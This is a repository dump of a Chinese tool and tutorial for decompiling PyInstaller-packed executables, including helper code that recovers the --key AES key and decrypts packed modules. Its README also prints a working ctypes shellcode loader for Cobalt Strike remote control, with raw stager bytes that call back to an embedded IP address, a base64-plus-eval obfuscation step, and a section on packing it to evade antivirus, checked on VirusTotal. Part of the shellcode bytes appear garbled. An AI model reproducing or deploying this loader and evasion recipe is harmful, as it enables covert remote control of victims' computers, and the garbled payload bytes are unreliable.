├── README.md
├── files
├── a.py
├── b.py
└── dist
│ ├── b_encrypted.exe
│ └── b_noencrypted.exe
├── hextool.py
├── media
├── 009975bbad74b21e2b1399c8f707da2c.png
├── 02175f29a97ce1c31a649f257d3a78b9.png
├── 076c62404f925f474a26f54dfcfda8a3.png
├── 08fc59291b8ae47f9935e70aca115a3f.png
├── 0953b292be2217ac44ce7cbdbb8f7273.png
├── 12a4323ae1a7efd7505ccee63cd828fd.png
├── 13fcbc66222b6c0b0ce3d23585bcbb6a.png
├── 14b35f5b35457f6bdc7d314e734591d7.png
├── 14f385b6a16279abcc3ef177251a2e63.png
├── 1b29c70a3e7560ba1d1d2bb6368ef3d5.png
├── 1b43048dbc42da482855d46dcae09a60.png
├── 28da467716c69c094ec4d2cefa5fc084.png
├── 30950b4dd921d3da2b322dcf698b9879.png
├── 3211716d20947507a69ac30ebcc5c620.png
├── 32e8d2ba633c57c047e9d0d5560826c1.png
├── 3d19205e1b39f0af0bfb4ddd7d12db2a.png
├── 3feab16ca6e9c6d2995b8e57ffdcfff5.png
├── 4538395a3dae3f176ebb2060063b40e0.png
├── 48b6a331b040165323b60a9373472af6.png
├── 570a3e401bf46a431ee3e0a98a709130.png
├── 5cc4aee6f39405e90e375668d3a3a821.png
├── 5e0b9b41781279fffb48e3e9ef49e342.png
├── 5fe42b8eb3fe367174e1384548890dac.png
├── 632526168ecede2296fe0709ede568fa.png
├── 68ca2aebf7639357b359b4eda9bd634e.png
├── 6922abc0e0c780e24d085e6efee68f58.png
├── 73aa0a7f318e3b03e4633f6f0da905d1.png
├── 7666f0f173f710c1f4e5f952b6ca748a.png
├── 7d3323b01630e6831129157499dd9fc6.png
├── 7f4a9cf87cf227195ca9044636d3e124.png
├── 7f51efc796b56d942ed798d75b2d57ea.png
├── 802ab98615386b58f9392a65f27120f2.png
├── 8782b1583603f27abc280c43650bbbb2.png
├── 8eca9f01ff7cca20455b3b4df2ec6623.png
├── 923be3d734e5ceda53809cf088e78857.png
├── 94c91488ab065c05c8ad9f8af5ed6474.png
├── 97ca795e3d04bf287c84df66f272b2e2.png
├── 99bc9bca685726d263f693cca07cfd7d.png
├── 9ac93f6e401ea0f5356b7d3aeb439376.png
├── 9b94335a39f5f606dba294eb5ce7b6f5.png
├── 9cfd6ff0ae1a3f27f4753ee0f2ab0d3a.png
├── 9f99843e71a25cab7af24fc193957632.png
├── ad81fb4dcc1b6397e7231af065b6dd9c.png
├── b1d36078ae301898ec6025fd7a92df29.png
├── b68d9e682870aa4892eeda3dd2303ff7.png
├── bbfd3d5f8d4e83cbc3712a7457b9988b.png
├── be947260477fdd769b43cc1e00e16992.png
├── c0ff35163a451232f7e0bf1c558ec920.png
├── c55a318416e546ab08ef9ed3c526f3f4.png
├── c560c8de6720cc0a0a16277a8bd40cc4.png
├── caa128c2c02568297f58f5eabfbbf17e.png
├── d5f93eb38581be4487ba67b15fcbb93d.png
├── d70a036835c0b6cb949117fff524b144.png
├── d738b179ca9621ca8abf11db2f474e0a.png
├── d862803559c8198cb526149f3af4e093.png
├── d9cd3d941e18a32985c5380c1ffe2fa8.png
├── e1d66e44518cea8eb27d7937a2bef0db.png
├── e25b47fa80e1db3e3190af3b0faa53e2.png
├── e600329fcc00b9f166ee877bb65f8601.png
├── e7311a5affeb5599cc5aed6697d7d7c9.png
├── e76fe8cc0cd2b0a98a17d54baab61449.png
├── e87ddd85694c45cc6ebd998aee1ec219.png
├── eeabe6828518c06fd75d933494d133d2.png
├── f2091f55cffc2f9b2141adfc2a31f42b.png
├── f32f18c84635aaca229b0e0be60ef284.png
├── f664a93eb78420b810b5c68a45a0af4f.png
└── fba5f14a492c381962191ebdaedeb9cb.png
├── pyinstxtractor.py
├── requirements.txt
└── reverse_pyexe.py
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
pyinstaller打包的exe逆向还原项目
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 | **免责声明:仅供学习交流,切勿用于非法用途。**
19 |
20 | 支持解密使用--key参数加密的exe
21 |
22 | files提供了可以供pyinstaller打包的示例代码
23 |
24 | Usage:
25 |
26 | ```
27 | python3 reverse_pyexe c:\xx\xx\b.exe
28 | ```
29 |
30 | 结果输出到项目目录的b.exe_out路径下
31 |
32 |
33 |
34 | 参考链接: https://xz.aliyun.com/t/10450#toc-11
35 |
36 |
37 |
38 | **程序原理**
39 |
40 | 以下为精简出的原理,本程序参考部分
41 |
42 |
43 | **3. pyinstaller -F 参数反编译**
44 |
45 | 注意:这里的exe文件反编译指的是对pyinstraller打包的文件进行反编译
46 |
47 | **3.1 测试环境**
48 |
49 | 操作系统: windows 10
50 | python版本:python3.8.7
51 | 16进制编辑器:010 editor
52 | exe反编译工具:pyinstxtractor.py
53 | pyc反编译工具:uncompyle6
54 |
55 | **3.2 pyinstaller打包程序为exe**
56 |
57 | 首先写一个简单的python3脚本
58 | 01_easy.py
59 |
60 | *\# -\*- encoding: utf-8 -\*-*
61 |
62 | *\# Time : 2021/06/17 10:45:45*
63 |
64 | *\# Author: crow*
65 |
66 | **import** time
67 |
68 | **while 1:**
69 |
70 | **print(**'hello world'**)**
71 |
72 | time**.**sleep**(1)**
73 |
74 | 然后将该程序使用pyinstaller打包为exe文件
75 | pyinstaller -F 01_easy.py
76 |
77 |
78 | 其中 参数 -F 是为了将程序打包为一个exe文件,而且不产生其他的文件
79 |
80 |
81 | 
82 |
83 |
84 | 打包完成之后,本地会生成一个dist的文件夹,在这个文件夹里就有一个打包好的exe文件。
85 |
86 |
87 | 
88 |
89 | 
90 |
91 |
92 | 运行试试:
93 |
94 |
95 | 
96 |
97 |
98 | 此时程序运行正常,解下来就是反编译了。
99 |
100 | **3.3 反编译_pyc**
101 |
102 | 针对pyinstaller打包之后的exe反编译工具:pyinstxtractor.py
103 |
104 | pyinstaller extractor是可以提取出pyinstaller所创建的exe文件为pyc格式。
105 |
106 | 下载链接:
107 |
108 |
109 | 将需要反编译的exe和pyinstxtractor.py放到同一个目录下直接运行
110 |
111 | python pyinstxtractor.py 01_easy.exe
112 |
113 | 
114 |
115 | 解密成功之后,会生成一个xxx.exe_extracted的文件夹
116 |
117 |
118 | 
119 |
120 | 
121 |
122 | **3.4 pyc到源码**
123 |
124 | pyinstaller在打包的时候,会将pyc文件的前8个字节清除,所以后期需要自己添加上去,前四个字节为python编译的版本,后四个字节为时间戳。(四个字节的magic
125 | number、四个字节的timestamp)
126 | 所以在这里可以通过struct文件来获取其中的信息,再添加到01_easy文件里面去
127 |
128 | 
129 |
130 |
131 | 因此这里将两个文件单独复制出来,通过16进制查看工具来查看下文件,Windows系统下可以使用winhex,mac系统下可以使用010
132 | editor
133 |
134 |
135 | 
136 |
137 |
138 | 通过对比可以发现,struct比01_easy多了8个字节(这里只是做了一个粗略的解释,具体的原因肯定不是看出来的,有兴趣的师傅可以翻下源码)
139 |
140 | 
141 |
142 | 因此这里可以将这些字节复制插入到01_easy中去。
143 |
144 | 
145 |
146 |
147 | 在这里新建了一个文件,将两个进行结合
148 |
149 |
150 | 
151 |
152 |
153 | 再将文件保存为01_easy.pyc
154 |
155 | 
156 |
157 | 得到pyc文件之后就比较容易后去源代码了,这里有两种方法,一个是在线反编译,另一种是使用uncompyle6(当然,这里的方法不止这两种)
158 | 其中在线反编译地址为:[https://tool.lu/pyc](https://tool.lu/pyc)
159 | 在线反编译效果:
160 |
161 |
162 | 
163 |
164 |
165 | 可以看到这个效果不是很好,有一部分代码并没有成功编译出来
166 |
167 | 那试试uncompyle6,目前可以在python3上使用pip的方式进行安装pip3 install
168 | uncompyle6
169 |
170 |
171 | 
172 |
173 |
174 | 然后直接使用命令uncompyle6 01_easy.pyc
175 |
176 |
177 | 
178 |
179 |
180 | 可以将文件内容保存到一个文本中
181 | uncompyle6 01_easy.pyc \> 01_easy.py
182 |
183 |
184 | 
185 |
186 |
187 | 打开之后:
188 |
189 |
190 | 
191 |
192 |
193 |
194 |
195 | **4. pyinstaller -F --key 参数反编译**
196 |
197 | 在使用pyinstaller的时候,可以使用--key参数对生成的exe进行加密,在使用这个参数的时候需要pycrypto库,可以通过pip的方式进行安装,但是保不齐安装的时候会出现一些问题,这里就不再对此展开讲解,直接进行使用。
198 |
199 | **4.1 python版本的shellcode**
200 |
201 | **什么是shellcode?**
202 |
203 | 在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。
204 | 可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。(来源:百度百科)
205 |
206 |
207 | 下面的代码为最基础版本的shellcode,配合Cobalt Strike使用,可实现远控。
208 |
209 | *\# -\*- encoding: utf-8 -\*-*
210 |
211 | *\# Time : 2021/04/29 11:19:04*
212 |
213 | *\# Author: crow*
214 |
215 | **import** ctypes
216 |
217 | shellcode **=** b""
218 |
219 | shellcode **+=** b"\\x\\"
220 |
221 | shellcode **=** bytearray**(**shellcode**)**
222 |
223 | *\# 设置VirtualAlloc返回类型为ctypes.c_uint64*
224 |
225 | ctypes**.**windll**.**kernel32**.**VirtualAlloc**.**restype **=**
226 | ctypes**.**c_uint64
227 |
228 | *\# 申请内存*
229 |
230 | ptr **=**
231 | ctypes**.**windll**.**kernel32**.**VirtualAlloc**(**ctypes**.**c_int**(0),**
232 | ctypes**.**c_int**(**len**(**shellcode**)),** ctypes**.**c_int**(0x3000),**
233 | ctypes**.**c_int**(0x40))**
234 |
235 | *\# 放入shellcode*
236 |
237 | buf **= (**ctypes**.**c_char **\***
238 | len**(**shellcode**)).**from_buffer**(**shellcode**)**
239 |
240 | ctypes**.**windll**.**kernel32**.**RtlMoveMemory**(**
241 |
242 | ctypes**.**c_uint64**(**ptr**),**
243 |
244 | buf**,**
245 |
246 | ctypes**.**c_int**(**len**(**shellcode**))**
247 |
248 | **)**
249 |
250 | *\# 创建一个线程从shellcode防止位置首地址开始执行*
251 |
252 | handle **=** ctypes**.**windll**.**kernel32**.**CreateThread**(**
253 |
254 | ctypes**.**c_int**(0),**
255 |
256 | ctypes**.**c_int**(0),**
257 |
258 | ctypes**.**c_uint64**(**ptr**),**
259 |
260 | ctypes**.**c_int**(0),**
261 |
262 | ctypes**.**c_int**(0),**
263 |
264 | ctypes**.**pointer**(**ctypes**.**c_int**(0))**
265 |
266 | **)**
267 |
268 | *\# 等待上面创建的线程运行完*
269 |
270 | ctypes**.**windll**.**kernel32**.**WaitForSingleObject**(**ctypes**.**c_int**(**handle**),**ctypes**.**c_int**(-1))**
271 |
272 | 在这里直接使用以下参数进行加密混淆:
273 |
274 |
275 | pyinstaller -F --key crow123321 --noconsole py_shellcode.py
276 |
277 |
278 | 其中--key之后的字符可以自定义
279 |
280 |
281 | 
282 |
283 | 
284 |
285 | **4.2 --key参数反编译**
286 |
287 | 同样的,将两个文件放在一起进行逆向得到pyc文件
288 |
289 |
290 | 
291 |
292 |
293 | python pyinstxtractor.py py_shellcode.exe
294 |
295 |
296 | 
297 |
298 |
299 |
300 |
301 | 开始报错,但是依旧可以生成相应的文件夹
302 |
303 |
304 | 
305 |
306 | 
307 |
308 | 
309 |
310 | 这里使用同样的方法来对这两个文件进行测试,将新生成的文件保存为shellcode_key.pyc
311 |
312 |
313 | 
314 |
315 | uncompyle6 shellcode_key.pyc
316 |
317 | 
318 |
319 | 将文件重定向到py文件里面去
320 |
321 |
322 | 
323 |
324 | 
325 |
326 |
327 | 打开之后发现,文件和未使用--key参数的效果基本没什么变化。
328 | --key的参数针对的只是依赖库进行了加密而已。
329 |
330 |
331 | 
332 |
333 | **5. 正确使用--key参数进行加密免杀(测试时间:2021.06.17)**
334 |
335 | 总体上来讲,python打包的exe都是可以破解的,就算使用cython来写,依旧是可以破解的,只是时间问题而已,但是在这还是提出一些略微有效的方法(自欺欺人)。
336 |
337 |
338 | **5.1 不使用--key参数**
339 |
340 | 将所有的代码进行封装为一个函数,在一个新的文件中引用,其中py_shellcode_fuzz.py里的文件内容不变,只不过将其封装为一个函数,test.py来调用这个函数
341 |
342 |
343 | 
344 |
345 |
346 | py_shellcode_fuzz.py:
347 |
348 | *\# -\*- encoding: utf-8 -\*-*
349 |
350 | *\# Time : 2021/06/17 17:12:27*
351 |
352 | *\# Author: crow*
353 |
354 | **import** ctypes**,**base64
355 |
356 | **def** shell**():**
357 |
358 | shellcode **=** b""
359 |
360 | shellcode **+=**
361 | b"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x66\\x81\\x78\\x18\\x0b\\x02\\x75\\x72\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\\d2\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x41\\x50\\x41\\x50\\x41\\xba\\x3a\\x56\\x79\\xa7\\xff\\xd5\\xeb\\x73\\x5a\\x48\\x89\\xc1\\x41\\xb8\\x21\\x03\\x00\\x00\\x4d\\x31\\xc9\\x41\\x51\\x41\\x51\\x6a\\x03\\x41\\x51\\x41\\xba\\x57\\x89\\x9f\\xc6\\xff\\xd5\\xeb\\x59\\x5b\\x48\\x89\\xc1\\x48\\x31\\xd2\\x49\\x89\\xd8\\x4d\\x31\\xc9\\\\x29\\x37\\x43\\x43\\x29\\x37\\x7d\\x24\\x45\\x49\\x439\\x56\\x49\\x52\\x55\\x53\\x2d\\x54\\x45\\x53\\x54\\x2d\\x46\\x49\\x4c\\x45\\x21\\x24\\x48\\x2b\\x48\\x2a\\x00\\x35\\x4f\\x21\\x50\\x25\\x40\\x41\\x50\\x5b\\x34\\x5c\\x50\\x5a\\x58\\x35\\x34\\x28\\x50\\x5e\\x29\\x37\\x43\\x43\\x00\\x41\\xbe\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x48\\x31\\xc9\\xba\\x00\\x00\\x40\\x00\\x41\\xb8\\x00\\x10\\x00\\x00\\x41\\xb9\\x40\\x00\\x00\\x00\\x41\\xba\\x58\\xa4\\x53\\xe5\\xff\\xd5\\x48\\x93\\x53\\x53\\x48\\x89\\xe7\\x48\\x89\\xf1\\x48\\x89\\xda\\x41\\xb8\\x00\\x20\\x00\\x00\\x49\\x89\\xf9\\x41\\xba\\x12\\x96\\x89\\xe2\\xff\\xd5\\x48\\x83\\xc4\\x20\\x85\\xc0\\x74\\xb6\\x66\\x8b\\x07\\x48\\x01\\xc3\\x85\\xc0\\x75\\xd7\\x58\\x58\\x58\\x48\\x05\\x00\\x00\\x00\\x00\\x50\\xc3\\xe8\\x9f\\xfd\\xff\\xff\\x31\\x30\\x2e\\x32\\x31\\x31\\x2e\\x35\\x35\\x2e\\x32\\x00\\x00\\x00\\x00\\x00"
362 |
363 | shellcode **=** bytearray**(**shellcode**)**
364 |
365 | *\# 设置VirtualAlloc返回类型为ctypes.c_uint64*
366 |
367 | ctypes**.**windll**.**kernel32**.**VirtualAlloc**.**restype **=**
368 | ctypes**.**c_uint64
369 |
370 | *\# 申请内存*
371 |
372 | ptr **=**
373 | ctypes**.**windll**.**kernel32**.**VirtualAlloc**(**ctypes**.**c_int**(0),**
374 | ctypes**.**c_int**(**len**(**shellcode**)),** ctypes**.**c_int**(0x3000),**
375 | ctypes**.**c_int**(0x40))**
376 |
377 | *\# 放入shellcode*
378 |
379 | buf **= (**ctypes**.**c_char **\***
380 | len**(**shellcode**)).**from_buffer**(**shellcode**)**
381 |
382 | string **=**
383 | """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"""
384 |
385 | eval**(**base64**.**b64decode**(**string**))**
386 |
387 | *\# 创建一个线程从shellcode防止位置首地址开始执行*
388 |
389 | handle **=** ctypes**.**windll**.**kernel32**.**CreateThread**(**
390 |
391 | ctypes**.**c_int**(0),**
392 |
393 | ctypes**.**c_int**(0),**
394 |
395 | ctypes**.**c_uint64**(**ptr**),**
396 |
397 | ctypes**.**c_int**(0),**
398 |
399 | ctypes**.**c_int**(0),**
400 |
401 | ctypes**.**pointer**(**ctypes**.**c_int**(0))**
402 |
403 | **)**
404 |
405 | *\# 等待上面创建的线程运行完*
406 |
407 | ctypes**.**windll**.**kernel32**.**WaitForSingleObject**(**ctypes**.**c_int**(**handle**),**ctypes**.**c_int**(-1))**
408 |
409 | **if** \__name_\_ **==** '__main__'**:**
410 |
411 | shell**()**
412 |
413 | test.py
414 |
415 | *\# -\*- encoding: utf-8 -\*-*
416 |
417 | *\# Time : 2021/06/17 17:00:27*
418 |
419 | *\# Author: crow*
420 |
421 | **import** ctypes
422 |
423 | **from** py_shellcode **import** shell
424 |
425 | **if** \__name_\_ **==** '__main__'**:**
426 |
427 | shell**()**
428 |
429 | 直接运行python py_shellcode_fuzz.py
430 |
431 |
432 | 
433 |
434 | 
435 |
436 |
437 | 上线正常
438 |
439 |
440 | 使用test.py调用该文件
441 | python test.py 上线正常
442 |
443 |
444 | 
445 |
446 | 然后再对文件进行打包
447 | 首先使用pyinstaller直接打包
448 | pyinstaller -F --noconsole test.py
449 |
450 | 
451 |
452 | 
453 |
454 |
455 | 直接在dist文件夹下尝试获取pyc文件
456 |
457 |
458 | python pyinstxtractor.py test.exe
459 |
460 |
461 | 
462 |
463 | 
464 |
465 |
466 | 将这两个文件单独拿出来,重复同样的操作
467 |
468 | 
469 |
470 | 
471 |
472 | uncompyle6 get.pyc
473 |
474 |
475 | 
476 |
477 | 将文件保存起来
478 |
479 |
480 | 
481 |
482 | 
483 |
484 |
485 | 这里就无法找到py_shell_fuzz中的内容了,那文件到底在哪呢?
486 | 我们将反编译之后的PYZ-00.pyz_extracted文件夹找到了该pyc文件
487 |
488 |
489 | 
490 |
491 | 
492 |
493 | 对该pyc文件直接进行解密:uncompyle6 py_shellcode_fuzz.pyc
494 |
495 |
496 | 
497 |
498 |
499 |
500 |
501 | 报错,这里使用010 editor分析下pyc文件
502 |
503 |
504 | 通过与get.pyc对比发现,这里少了4个字节,因此需要对其进行补全
505 |
506 |
507 | 
508 |
509 |
510 |
511 |
512 | 将文件保存为new_py_shell.pyc
513 |
514 |
515 | 
516 |
517 |
518 | 再对其进行解密
519 | uncompyle6 new_py_shell.pyc
520 |
521 |
522 | 
523 |
524 |
525 | 再将文件保存起来
526 | uncompyle6 new_py_shell.pyc \> new_shell.py
527 |
528 |
529 | 
530 |
531 |
532 | 此时该文件被完全解密
533 |
534 |
535 | 
536 |
537 |
538 |
539 |
540 | 
541 |
542 | 此时将文件使用VT查杀测试
543 | VT 查杀
544 |
545 |
546 |
547 | 
548 |
549 |
550 |
551 |
552 | **5.2 pyinstaller使用--key参数打包exe**
553 |
554 | 在上文中pyinstaller中--key参数可以对依赖库进行了加密,因此在这里尝试使用--key参数重新打包一下
555 |
556 |
557 | pyinstaller -F --key crowcrow --noconsole test.py
558 |
559 |
560 | 
561 |
562 |
563 |
564 |
565 | 直接在dist文件夹下尝试获取pyc文件
566 |
567 |
568 | python pyinstxtractor.py test.exe
569 |
570 |
571 | 
572 |
573 | 
574 |
575 | 这里该失败的失败,该成功的成功!
576 |
577 |
578 | 
579 |
580 | 同样的手法,对下面箭头的文件进行解密
581 |
582 |
583 | 
584 |
585 |
586 | 得到文件final.pyc
587 |
588 |
589 | 
590 |
591 |
592 |
593 |
594 | uncompyle6 final.pyc
595 |
596 | 
597 |
598 |
599 | 这里和上面的也是一样的,显示从py_shellcode_fuzz中调用了shell函数。那就去同样的位置去找py_shellcode_fuzz.pyc文件。
600 |
601 |
602 | 但是这里可以看到py_shellcode_fuzz.pyc已经被加密变成了py_shellcode_fuzz.pyc.encrypted文件格式。
603 |
604 |
605 | 
606 |
607 |
608 |
609 |
610 | 将该文件使用010
611 | editor打开,通过对比发现,该文件已经被加密,无法使用uncompyle6对其进行解密,当然这个文件依旧可以解密,但是解密成本要高于目前的手法。
612 |
613 |
614 | 
615 |
616 |
617 |
618 |
619 | 此时对原来的文件双击测试
620 |
621 |
622 | 
623 |
624 |
625 | 依旧可以上线(测试时间:2021.06.17)
626 |
627 |
628 | 
629 |
630 |
631 |
632 |
633 | 
634 |
635 |
636 |
637 |
638 | VT查杀:(测试时间:2021.06.17)
639 |
640 |
641 |
642 |
643 |
644 | 
645 |
646 | 2021.10.29查看:
647 |
648 |
649 | 
650 |
651 | **5.3 总结**
652 |
653 | 从以上文章可以看出,将shellcode加载器写到一个文件中去,再使用另外一个脚本调用,在一定程度上可以免杀(随着时间推移,该方法逐渐失效),但是--key参数加密后的py_shellcode_fuzz.pyc.encrypted文件是无法解开的吗?
654 | 理论上讲,该文件可以理解为勒索病毒加密之后的文件,如果key足够复杂,在还原文件上还是非常有难度的,但是在pyinstaller的作者并非将该文件写死,该文件还是能够进行还原的。
655 |
656 |
--------------------------------------------------------------------------------
/files/a.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2021/12/17 18:42
3 | # @Author : ordar
4 | # @Project : reverse_pyexe
5 | # @File : a.py
6 | # @Python: 3.7.5
7 | import json
8 | html = "test"
9 |
--------------------------------------------------------------------------------
/files/b.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2021/12/17 18:42
3 | # @Author : ordar
4 | # @Project : reverse_pyexe
5 | # @File : b.py
6 | # @Python: 3.7.5
7 | from a import html
8 |
9 | print(html)
10 |
11 |
--------------------------------------------------------------------------------
/files/dist/b_encrypted.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/files/dist/b_encrypted.exe
--------------------------------------------------------------------------------
/files/dist/b_noencrypted.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/files/dist/b_noencrypted.exe
--------------------------------------------------------------------------------
/hextool.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2021/12/16 16:12
3 | # @Author : ordar
4 | # @Project : reverse_pyexe
5 | # @File : hex_tool.py
6 | # @Python: 3.7.5
7 | import os
8 | import re
9 | import sys
10 |
11 |
12 | class HexTool:
13 |
14 | def __init__(self, struct_file):
15 | self.hex_header = self.get_hex_header(struct_file)
16 |
17 | @staticmethod
18 | def get_file_hex(file):
19 | """
20 | 读取文件hex
21 | :param file:
22 | :return:
23 | """
24 | if os.path.exists(file):
25 | with open(file, 'rb') as f:
26 | file_hex = f.read().hex()
27 | return file_hex
28 | else:
29 | print("[-] {}文件不存在".format(file))
30 | sys.exit(0)
31 |
32 | def get_hex_header(self, struct_file):
33 | """
34 | 获取文件头信息
35 | :param struct_file:
36 | :return:
37 | """
38 | return self.get_file_hex(struct_file)[0:32]
39 |
40 | def make_main_pyc(self, main_file, out_main_file=""):
41 | """
42 | 将入口文件还原为pyc文件
43 | :param main_file: 入口文件
44 | :param out_main_file: 输出文件,默认为原文件名的pyc文件
45 | :return:
46 | """
47 | old_file_hex = self.get_file_hex(main_file)
48 | new_file_hex = self.hex_header + old_file_hex
49 | if not out_main_file:
50 | out_main_file = main_file + ".pyc"
51 | with open(out_main_file, 'wb') as f:
52 | f.write(bytes.fromhex(new_file_hex))
53 | print("[+] {} 转换为 {}".format(main_file, out_main_file))
54 | return out_main_file
55 |
56 | def make_package_pyc(self, package_file, out_package_file=""):
57 | """
58 | 将依赖文件还原
59 | :param package_file: 依赖文件
60 | :param out_package_file:
61 | :return:
62 | """
63 | old_file_hex = self.get_file_hex(package_file)
64 | new_file_hex = self.hex_header + old_file_hex[24:]
65 | if not out_package_file:
66 | out_package_file = package_file
67 | with open(out_package_file, 'wb') as f:
68 | f.write(bytes.fromhex(new_file_hex))
69 | if package_file == out_package_file:
70 | print("[+] {} 转换完成".format(package_file))
71 | else:
72 | print("[+] {} 转换为 {}".format(package_file, out_package_file))
73 | return out_package_file
74 |
75 | def reverse_pyc(self, pyc_file, out_dir):
76 | """
77 | 逆向还原pyc文件为py文件
78 | :param pyc_file:
79 | :param out_dir:
80 | :return:
81 | """
82 | py_file = os.path.basename(os.path.splitext(pyc_file)[0]) + ".py"
83 | py_file_path = os.path.join(out_dir, py_file)
84 | # print(py_file)
85 | recode = os.system("uncompyle6 -o {} {}".format(py_file_path, pyc_file))
86 | # print(recode, type(recode))
87 | if recode == 0:
88 | print("[+] {} 成功还原为py文件: {}".format(pyc_file, py_file_path))
89 |
90 | def get_encrypto_key(self, key_file):
91 | """
92 | 获取加密的秘钥key
93 | :param key_file: pyimod00_crypto_key文件
94 | :return:
95 | """
96 | with open(key_file, "rb") as f:
97 | file_contenet = f.read()
98 | file_contenet_hex = file_contenet.hex()
99 | # print(file_contenet)
100 | # print(file_contenet_hex)
101 | key_hex = re.findall(r"5a10(.*?)4e29", file_contenet_hex)[0]
102 | # print(key_hex)
103 | key = bytes.fromhex(key_hex).decode()
104 | return key
105 |
106 | def decrypt_package_file(self, key, encrypted_file, out_pyc_file=""):
107 | """
108 | 根据key将加密的依赖包文件解密为pyc文件
109 | :param key:
110 | :param encrypted_file:
111 | :param out_pyc_file:
112 | :return:
113 | """
114 | import tinyaes,zlib
115 | f = open(encrypted_file, 'rb')
116 | data = f.read()
117 | cipher = tinyaes.AES(key.encode(), data[:16])
118 | output = cipher.CTR_xcrypt_buffer(data[16:])
119 | f.close()
120 | output = zlib.decompress(output)
121 | if not out_pyc_file:
122 | out_pyc_file = str(encrypted_file).replace(".encrypted", "")
123 | with open(out_pyc_file, 'wb') as f:
124 | f.write(output)
125 |
126 |
127 | if __name__ == '__main__':
128 | h = HexTool("struct")
129 | # print(h.get_file_hex("struct"))
130 | # print(h.get_hex_header("struct"))
131 | #
132 | # print(h.get_file_hex("host_scan.pyc"))
133 | # print(h.get_file_hex("host_scan.pyc")[24:])
134 | #
135 | # # print(h.make_main_pyc("worm"))
136 | # print(h.make_package_pyc("host_scan.pyc"))
137 | # print(h.reverse_pyc(r"D:\py_project\reverse_pyexe\worm.pyc", r"D:\py_project\reverse_pyexe\worm.exe_out"))
138 | # print(h.get_encrypto_key("aaaa.exe_extracted\\pyimod00_crypto_key"))
139 | print(h.make_main_pyc('guess'))
--------------------------------------------------------------------------------
/media/009975bbad74b21e2b1399c8f707da2c.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/009975bbad74b21e2b1399c8f707da2c.png
--------------------------------------------------------------------------------
/media/02175f29a97ce1c31a649f257d3a78b9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/02175f29a97ce1c31a649f257d3a78b9.png
--------------------------------------------------------------------------------
/media/076c62404f925f474a26f54dfcfda8a3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/076c62404f925f474a26f54dfcfda8a3.png
--------------------------------------------------------------------------------
/media/08fc59291b8ae47f9935e70aca115a3f.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/08fc59291b8ae47f9935e70aca115a3f.png
--------------------------------------------------------------------------------
/media/0953b292be2217ac44ce7cbdbb8f7273.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/0953b292be2217ac44ce7cbdbb8f7273.png
--------------------------------------------------------------------------------
/media/12a4323ae1a7efd7505ccee63cd828fd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/12a4323ae1a7efd7505ccee63cd828fd.png
--------------------------------------------------------------------------------
/media/13fcbc66222b6c0b0ce3d23585bcbb6a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/13fcbc66222b6c0b0ce3d23585bcbb6a.png
--------------------------------------------------------------------------------
/media/14b35f5b35457f6bdc7d314e734591d7.png:
--------------------------------------------------------------------------------
